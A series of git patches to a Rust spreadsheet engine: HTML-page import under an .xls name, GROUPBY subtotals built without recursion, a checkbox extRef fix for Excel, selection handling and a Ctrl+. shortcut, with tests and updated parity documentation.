"; + let (wb, warnings) = open_bytes("orders.xls", page.as_bytes()).unwrap(); + assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.name, "Orders"); + let v = |a: &str| sh.value(CellRef::parse(a).unwrap()); + assert_eq!(v("A1"), gridcraft_core::Value::text("Item")); + assert_eq!(v("A2"), gridcraft_core::Value::text("Kiwi & Lime")); + assert_eq!(v("B2"), gridcraft_core::Value::number(12.0)); + assert_eq!(v("C2"), gridcraft_core::Value::number(7.0), "read like typed input, as Excel does"); + assert_eq!(v("B3"), gridcraft_core::Value::number(4.5), "the number the page recorded"); + let style = |a: &str| wb.styles.get(sh.style_id(CellRef::parse(a).unwrap())).clone(); + assert!(style("A1").font.bold && style("A1").align.h == gridcraft_model::HAlign::Center); + assert!(!style("A2").font.bold); + // Opened as text, codes keep their zeros; a page named .html gets no warning. + let (wb, warnings) = open_bytes_with("orders.html", page.as_bytes(), None, true).unwrap(); + assert!(warnings.is_empty(), "{warnings:?}"); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("C2").unwrap()), gridcraft_core::Value::text("007")); + // Plain text that merely starts with a tag-like word is still read as CSV. + let (wb, _) = open_bytes("notes.csv", b",1\nx,2\n").unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0)); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..8e4a8fed7 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (a web page's first table opens as a sheet, also when the page is named `.xls`; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -107,7 +107,7 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | | `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | -| `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes (one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | +| `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes: opening reads the page's first table as a sheet (header cells bold and centred, values read as typed, the sheet named by ``), also when the page is saved as `.xls`/`.xlsx` as web apps' "Export to Excel" does, with a warning that the format and name don't match (#3166); saving writes one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | | `.mht` / `.mhtml` single-file web page | R/W (Windows) | no | no | | | `.json` | via Power Query | GridCraft's own workbook JSON (debug) and JSON import | GridCraft JSON | Not Power Query's JSON shaping; notes and hyperlinks break export (#126) | | `.xml` with XML maps | Developer ▸ Import/Export | no | no | | @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Opening a web page (HTML) reads its first table as a sheet, whatever the file is called: a web app's "Export to Excel" saved as `.xls` no longer opens as lines of markup. Values read as in a CSV (or as text with `csvAsText`), `` cells are bold and centred, `` names the sheet, and a page not named `.htm`/`.html` opens with a warning (#3166) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From ba1c62469da1f52c3ef8041f26a128c588ffb697 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:31:59 -0600 Subject: [PATCH 233/298] #3136: a move on another sheet keeps the active sheet's selection Addresses CodeRabbit review on #3216, "Keep the selection on the sheet it describes": moving Two!B1:B2 with Sheet1 active selected A1:A2 on Sheet1, where nothing moved. The selection belongs to the active sheet, so range.move now keeps it when the moved cells are on another sheet; a move on the active sheet still selects the moved cells. Test: drag_and_drop_on_another_sheet_stays_on_that_sheet (now also checks the selection). Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 10 ++++++++-- crates/engine/src/cmd/edit/tests.rs | 4 ++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 78057691f..bbef17163 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -183,8 +183,14 @@ pub(super) fn range_move(s: &mut Session, p: &Json) -> Result { { return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into())); } - // On the range's sheet, which `paste` would leave to the active one. - paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet})) + // On the range's sheet, which `paste` would leave to the active one. The selection + // belongs to the active sheet: it follows the moved cells only when they are on it. + let selection = s.doc()?.selection.clone(); + let pasted = paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet}))?; + if sheet != s.doc()?.wb.active_sheet() { + s.doc_mut()?.selection = selection; + } + Ok(pasted) }); if moved.is_err() { s.clipboard = kept; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index e5b223a91..d24559d20 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -408,7 +408,11 @@ fn drag_and_drop_on_another_sheet_stays_on_that_sheet() { s.execute("range.setValues", json!({"range": "B1:B2", "values": [["Kiwi"], ["Plum"]]})).unwrap(); s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); s.execute("cell.set", json!({"cell": "A1", "input": "Keep"})).unwrap(); + s.execute("selection.set", json!({"range": "C5"})).unwrap(); s.execute("range.move", json!({"range": "Two!B1:B2", "to": "A1"})).unwrap(); + // Sheet1 stays active with its own selection; the moved cells are on Two. + assert_eq!(s.doc().unwrap().wb.active_sheet(), 0); + assert_eq!(s.doc().unwrap().selection.a1(), "C5"); let wb = &s.doc().unwrap().wb; let two = wb.sheet_index("Two").unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(0, 0)), Value::text("Keep")); From ef8ac5e6db1d157f5539d628ac5243157a9745ea Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:36:42 -0600 Subject: [PATCH 234/298] #1456: GROUPBY refuses oversized subtotals before building them, without recursion Addresses CodeRabbit review on #3221, "Check the output size before with_subtotals builds subtotal lines": the size limit was checked only after every subtotal line existed. A row with 4000 key columns at total depth 4000 nested with_subtotals 4000 levels deep and overflowed the stack (the process aborted) before the late check could refuse it. with_subtotals now works without recursion: each line gets an id for its key prefix at every level, a stable sort by those ids keeps each group together in first-appearance order, and one walk adds the subtotals. The output size (with the header and total lines when present) is checked while the groups are counted, before any subtotal line is built. Test: groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built. Co-Authored-By: Claude Opus 5.5 --- crates/functions/src/dynamic.rs | 106 +++++++++++++++++++++++--------- 1 file changed, 76 insertions(+), 30 deletions(-) diff --git a/crates/functions/src/dynamic.rs b/crates/functions/src/dynamic.rs index 7115e44c3..816af8ea2 100644 --- a/crates/functions/src/dynamic.rs +++ b/crates/functions/src/dynamic.rs @@ -800,7 +800,11 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { } if depth > 1 { let mut rows_of = |keys: &[Value]| groups.get(&row_key(keys)).cloned().unwrap_or_default(); - lines = with_subtotals(lines, 0, depth, rf.cols, total < 0, &mut rows_of, &mut agg_row); + // The header and total lines count too, so the whole result is checked before it is built. + let around = usize::from(p.show_headers) + usize::from(total != 0); + let width = rf.cols.saturating_add(vals.cols); + let fits = |n: usize| check_output_size(n.saturating_add(around), width); + lines = with_subtotals(lines, depth, rf.cols, total < 0, &fits, &mut rows_of, &mut agg_row)?; } let mut out = Vec::new(); if p.show_headers { @@ -824,49 +828,82 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { from_rows(out, &Value::Empty) } -/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of the -/// key at `level` kept together in the order the groups first appear, and for every key level above +/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of a +/// key level kept together in the order the groups first appear, and for every key level above /// `depth` a line after the group (before it when `before`): the group's keys, blanks for the deeper /// keys, and the values aggregated over the group's source rows (`rows_of` maps a line's keys to them). +/// +/// No recursion, so a deep total depth can't exhaust the stack: each line gets the id of its key +/// prefix at every level (ids count up as prefixes first appear), a stable sort by those ids brings +/// each group together, and one walk adds a subtotal where a group starts or ends. `fits` gets the +/// line count as the groups are found, so an oversized result is refused before it is built. fn with_subtotals( - lines: Vec>, - level: usize, + mut lines: Vec>, depth: usize, key_cols: usize, before: bool, + fits: &dyn Fn(usize) -> R<()>, rows_of: &mut dyn FnMut(&[Value]) -> Vec, agg: &mut dyn FnMut(&[usize]) -> Vec, -) -> Vec> { - if level + 1 >= depth { - return lines; +) -> R>> { + let levels = depth.saturating_sub(1); + if levels == 0 { + return Ok(lines); } - let mut order: Vec = Vec::new(); - let mut members: HashMap>> = HashMap::new(); - for line in lines { - let key = row_key(line.get(level..=level).unwrap_or_default()); - let group = members.entry(key.clone()).or_default(); - if group.is_empty() { - order.push(key); + let mut ids: HashMap<(usize, String), usize> = HashMap::new(); + let mut paths: Vec> = Vec::with_capacity(lines.len()); + for line in &lines { + let mut parent = usize::MAX; + let mut path = Vec::with_capacity(levels); + for level in 0..levels { + let next = ids.len(); + parent = *ids.entry((parent, row_key(line.get(level..=level).unwrap_or_default()))).or_insert(next); + path.push(parent); } - group.push(line); + fits(lines.len().saturating_add(ids.len()))?; + paths.push(path); } - let mut out = Vec::new(); - for key in order { - let group = members.remove(&key).unwrap_or_default(); - let mut subtotal: Vec = group.first().map(|line| line.iter().take(level + 1).cloned().collect()).unwrap_or_default(); - subtotal.resize(key_cols, Value::Empty); - let rows: Vec = group.iter().flat_map(|line| rows_of(line.get(..key_cols).unwrap_or_default())).collect(); - subtotal.extend(agg(&rows)); - let inner = with_subtotals(group, level + 1, depth, key_cols, before, rows_of, agg); + let mut group_rows: Vec> = vec![Vec::new(); ids.len()]; + for (line, path) in lines.iter().zip(&paths) { + let rows = rows_of(line.get(..key_cols).unwrap_or_default()); + for &id in path { + if let Some(g) = group_rows.get_mut(id) { + g.extend_from_slice(&rows); + } + } + } + let mut subtotal = |keys: &[Value], level: usize, id: usize| -> Vec { + let mut line: Vec = keys.iter().take(level + 1).cloned().collect(); + line.resize(key_cols, Value::Empty); + line.extend(agg(group_rows.get(id).map(Vec::as_slice).unwrap_or_default())); + line + }; + let mut order: Vec = (0..lines.len()).collect(); + order.sort_by(|&a, &b| paths.get(a).cmp(&paths.get(b))); + let mut out = Vec::with_capacity(lines.len().saturating_add(ids.len())); + let mut prev: Option<(Vec, &[usize])> = None; + for &i in &order { + let (Some(line), Some(path)) = (lines.get_mut(i).map(std::mem::take), paths.get(i)) else { continue }; + // The first level at which this line leaves the previous line's groups. + let split = prev.as_ref().map_or(0, |(_, p)| p.iter().zip(path).take_while(|(a, b)| a == b).count()); if before { - out.push(subtotal); - out.extend(inner); - } else { - out.extend(inner); - out.push(subtotal); + for (level, &id) in path.iter().enumerate().skip(split) { + out.push(subtotal(&line, level, id)); + } + } else if let Some((keys, p)) = &prev { + for (level, &id) in p.iter().enumerate().skip(split).rev() { + out.push(subtotal(keys, level, id)); + } + } + prev = Some((line.get(..key_cols).unwrap_or_default().to_vec(), path)); + out.push(line); + } + if !before && let Some((keys, p)) = &prev { + for (level, &id) in p.iter().enumerate().rev() { + out.push(subtotal(keys, level, id)); } } - out + Ok(out) } /// Height and width of a PIVOTBY grid: `header_rows` (one per column field, plus the value-name row) and @@ -1322,6 +1359,15 @@ mod tests { is_err(ev("GROUPBY", vec![rf(region), av(col(&[1.0])), t("SUM")]), CellError::Value); } + #[test] + fn groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built() { + // One row with 4000 key columns at depth 4000 asks for 3999 subtotal lines, each 4001 cells + // wide: 16 million cells, over the limit. It is #NUM! before any subtotal line exists (it + // used to build them all, nesting 4000 levels deep, and refuse them afterwards). + let keys = av(arr(vec![(0..4000).map(|i| nv(f64::from(i))).collect()])); + is_err(ev("GROUPBY", vec![keys, av(col(&[1.0])), t("SUM"), empty(), n(4000.0)]), CellError::Num); + } + #[test] fn groupby_total_depth_adds_subtotals() { // #1456 item 1, values as Excel 365 shows them. From d5c892f23874f20b105f16a9cee8b1c23eb5d75d Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:37:00 -0600 Subject: [PATCH 235/298] #2630: mark the checkbox mapping bag with its extRef A workbook with checkboxes saved by GridCraft made Excel repair it ("Repaired records: Format from /xl/styles.xml (Styles)") and drop every checkbox. The feature property bag part GridCraft writes for checkboxes left out extRef="XFComplementsMapperExtRef" on the XFComplements bag, the bag the cell formats' xfComplement indexes into. With it, Excel opens the file without repairing and shows the checkboxes. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/feature_bags.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/feature_bags.rs b/crates/xlsx/src/feature_bags.rs index 71a6514a5..db2e73e91 100644 --- a/crates/xlsx/src/feature_bags.rs +++ b/crates/xlsx/src/feature_bags.rs @@ -25,10 +25,13 @@ pub const XF_EXT_URI: &str = "{C7286773-470A-42A8-94C5-96B5CB345126}"; /// The bags for one checkbox cell control, referenced as `xfComplement i="0"`: Checkbox (0), /// XFControls → 0 (1), XFComplement → 1 (2), XFComplements mapping index 0 → 2 (3). Every -/// reference points to an earlier bag, as [MS-XLSX] 2.6.230 requires. +/// reference points to an earlier bag, as [MS-XLSX] 2.6.230 requires. The XFComplements bag is +/// the one `xfComplement` indexes into, and Excel finds it by its `extRef`: without +/// `extRef="XFComplementsMapperExtRef"` it repairs the workbook ("Format from /xl/styles.xml") +/// and drops every checkbox (#2630). pub fn checkbox_part() -> String { format!( - "\n01
2" + "\n012" ) } @@ -73,6 +76,9 @@ mod tests { fn written_chain_resolves_and_hostile_chains_do_not() { let root = crate::xml::parse(checkbox_part().as_bytes()).unwrap_or_default(); assert_eq!(checkbox_complements(&root), vec![true]); + // #2630: Excel repairs the file unless the mapping bag carries this extRef. + let mapper = root.kids("bag").find(|b| b.attr("type") == Some("XFComplements")); + assert_eq!(mapper.and_then(|b| b.attr("extRef")), Some("XFComplementsMapperExtRef")); // Out-of-range, wrong-type and self references resolve to false without panicking. let bad = format!( "99114294967295x" From 8b2550c9cf8fac8c9759f48fa8eafbb376a4d79d Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:44:15 -0600 Subject: [PATCH 236/298] #1442: Ctrl+. moves to the next corner of the selection Excel's Next Corner of Selection (Ctrl+., Control+. on a Mac) moves the active cell clockwise to the next corner of the selected area (top-left, top-right, bottom-right, bottom-left) and keeps the area selected; the new active cell is also the anchor, so Shift+arrows then move the opposite corner. GridCraft had no such command. New command selection.nextCorner (Selection::next_corner) bound to Ctrl+. on every platform. A one-row or one-column area goes end to end; a single cell stays where it is. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 11 +++++++- crates/engine/src/cmd/edit/selection.rs | 6 +++++ crates/engine/src/cmd/edit/tests.rs | 26 +++++++++++++++++++ crates/engine/src/selection.rs | 17 ++++++++++++ crates/ui-egui/src/keymap.rs | 2 ++ crates/ui-egui/tests/it/keyboard_shortcuts.rs | 5 ++++ docs/ui-parity.md | 4 ++- 7 files changed, 69 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..cf75a429d 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -36,7 +36,7 @@ use go_to::go_to_special; use go_to::{GO_TO_MAX_AREAS, GO_TO_RECENT, reference_parts}; use paste_special::paste_special; pub(crate) use paste_special::{rewrite_all_formulas, rewrite_cell_links, rewrite_python_refs}; -use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_set}; +use selection::{select_all, select_col, select_region, select_row, selection_move, selection_next, selection_next_corner, selection_set}; pub fn specs() -> Vec { vec![ @@ -62,6 +62,15 @@ pub fn specs() -> Vec { cmd!(noundo "selection.set", "Select", [], None, "{range: \"A1:B2,D4\" | cell, active?: \"A1\", sheet?}", has_doc, selection_set), cmd!(noundo "selection.move", "Move Selection", [], None, "{dr, dc, extend?: bool, jump?: bool (Ctrl+arrow), page?: bool}", has_doc, selection_move), cmd!(noundo "selection.next", "Next Cell in Selection", [], None, "{forward?: true, byRow?: false} (Enter/Tab inside a selection)", has_doc, selection_next), + cmd!( + noundo "selection.nextCorner", + "Next Corner of Selection", + [], + Some("Ctrl+."), + "{} (the active cell moves clockwise to the next corner of the selected area, which stays selected)", + has_doc, + selection_next_corner + ), cmd!(noundo "edit.selectAll", "Select All", ["Edit"], Some("Cmd+A"), "{} (current region first, then the whole sheet)", has_doc, select_all), cmd!(noundo "selection.currentRegion", "Select Current Region", [], Some("Ctrl+Shift+8"), "{}", has_doc, select_region), cmd!(noundo "selection.row", "Select Entire Row", [], Some("Shift+Space"), "{}", has_doc, select_row), diff --git a/crates/engine/src/cmd/edit/selection.rs b/crates/engine/src/cmd/edit/selection.rs index ede66a34d..03e178156 100644 --- a/crates/engine/src/cmd/edit/selection.rs +++ b/crates/engine/src/cmd/edit/selection.rs @@ -137,6 +137,12 @@ pub(super) fn selection_next(s: &mut Session, p: &Json) -> Result { Ok(json!({"active": d.selection.active.a1()})) } +pub(super) fn selection_next_corner(s: &mut Session, _: &Json) -> Result { + let d = s.doc_mut()?; + d.selection.next_corner(); + Ok(json!({"active": d.selection.active.a1(), "selection": d.selection.a1()})) +} + pub(super) fn select_all(s: &mut Session, _: &Json) -> Result { let d = s.doc_mut()?; let Some(sheet) = d.wb.active() else { return Err(EngineError::NoDocument) }; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..ead610e50 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -371,3 +371,29 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +#[test] +fn next_corner_of_selection_goes_clockwise_and_anchors_there() { + // #1442, as Excel does it: B2 → D2 → D4 → B4 → B2, the area stays selected, and Shift+arrows + // then move the corner opposite the new active cell. + let mut s = Session::new(); + s.new_workbook(); + s.execute("selection.set", json!({"range": "B2:D4", "active": "B2"})).unwrap(); + let mut seen = Vec::new(); + for _ in 0..4 { + let r = s.execute("selection.nextCorner", json!({})).unwrap(); + assert_eq!(r["selection"], "B2:D4"); + seen.push(r["active"].as_str().unwrap().to_string()); + } + assert_eq!(seen, ["D2", "D4", "B4", "B2"]); + s.execute("selection.nextCorner", json!({})).unwrap(); + s.execute("selection.nextCorner", json!({})).unwrap(); + s.execute("selection.move", json!({"dr": 0, "dc": 1, "extend": true})).unwrap(); + assert_eq!(s.doc().unwrap().selection.current().a1(), "C2:D4"); + // One row goes end to end; a single cell stays. + s.execute("selection.set", json!({"range": "B2:D2", "active": "B2"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "D2"); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "B2"); + s.execute("selection.set", json!({"range": "C5"})).unwrap(); + assert_eq!(s.execute("selection.nextCorner", json!({})).unwrap()["active"], "C5"); +} diff --git a/crates/engine/src/selection.rs b/crates/engine/src/selection.rs index 0e00e4869..a69870adb 100644 --- a/crates/engine/src/selection.rs +++ b/crates/engine/src/selection.rs @@ -128,6 +128,23 @@ impl Selection { } } +impl Selection { + /// Ctrl+. (Next Corner of Selection): the active cell moves clockwise to the next corner of + /// the current area (top-left, top-right, bottom-right, bottom-left) and becomes the anchor, + /// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that + /// isn't a corner the next corner is the top-left one; a single cell stays where it is. + pub fn next_corner(&mut self) { + let r = self.current(); + let corners = [r.start, CellRef::new(r.start.row, r.end.col), r.end, CellRef::new(r.end.row, r.start.col)]; + let next = match corners.iter().position(|c| *c == self.active) { + Some(i) => (1..=4).filter_map(|k| corners.get((i + k) % 4)).copied().find(|c| *c != self.active).unwrap_or(self.active), + None => r.start, + }; + self.active = next; + self.anchor = next; + } +} + /// Ctrl+arrow: jump to the edge of the current data region (Excel's End mode). pub fn jump(sheet: &Sheet, from: CellRef, dr: i64, dc: i64) -> CellRef { if dr == 0 && dc == 0 { diff --git a/crates/ui-egui/src/keymap.rs b/crates/ui-egui/src/keymap.rs index 5217724c0..5acce9b4d 100644 --- a/crates/ui-egui/src/keymap.rs +++ b/crates/ui-egui/src/keymap.rs @@ -115,6 +115,8 @@ fn lookup_number_formats(ctx: LookupContext) -> Option { Num7 if ctrl && s => borders("outside"), Minus if ctrl && s => borders("none"), Num8 if ctrl && s => run("selection.currentRegion"), + // Ctrl+. (Control on a Mac too): Next Corner of Selection. + Period if ctrl && !s => run("selection.nextCorner"), Semicolon if ctrl && s => Shortcut::Time, Quote if ctrl && s => Shortcut::ValueAbove, Quote if ctrl => Shortcut::FormulaAbove, diff --git a/crates/ui-egui/tests/it/keyboard_shortcuts.rs b/crates/ui-egui/tests/it/keyboard_shortcuts.rs index 8d3de6fcb..f59504dee 100644 --- a/crates/ui-egui/tests/it/keyboard_shortcuts.rs +++ b/crates/ui-egui/tests/it/keyboard_shortcuts.rs @@ -100,6 +100,11 @@ fn windows_and_mac_variants() { assert_eq!(lookup(Key::ArrowLeft, Some(Key::Num4), alt_shift, false), run("data.ungroup")); assert_eq!(lookup(Key::PageDown, Some(Key::Num3), Modifiers::ALT, false), Some(Shortcut::ScreenRight)); assert_eq!(lookup(Key::PageDown, Some(Key::Num3), CTRL_SHIFT, false), None); + // Ctrl+. is Next Corner of Selection, with Control on a Mac too (#1442); Cmd+Shift+. stays + // Increase Font Size. + assert_eq!(lookup(Key::Period, Some(Key::Period), cmd, false), run("selection.nextCorner")); + assert_eq!(lookup(Key::Period, Some(Key::Period), ctrl, true), run("selection.nextCorner")); + assert_eq!(lookup(Key::Period, Some(Key::Period), Modifiers { shift: true, ..mac_cmd }, true), run("home.increaseFontSize")); // Plain keys stay with the grid (typing, navigation). assert_eq!(lookup(Key::A, Some(Key::A), Modifiers::NONE, false), None); assert_eq!(lookup(Key::F2, Some(Key::F2), Modifiers::NONE, false), None); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..96fa3864d 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Ctrl+. Next Corner of Selection; earlier: RefEdit reference boxes in dialogs: 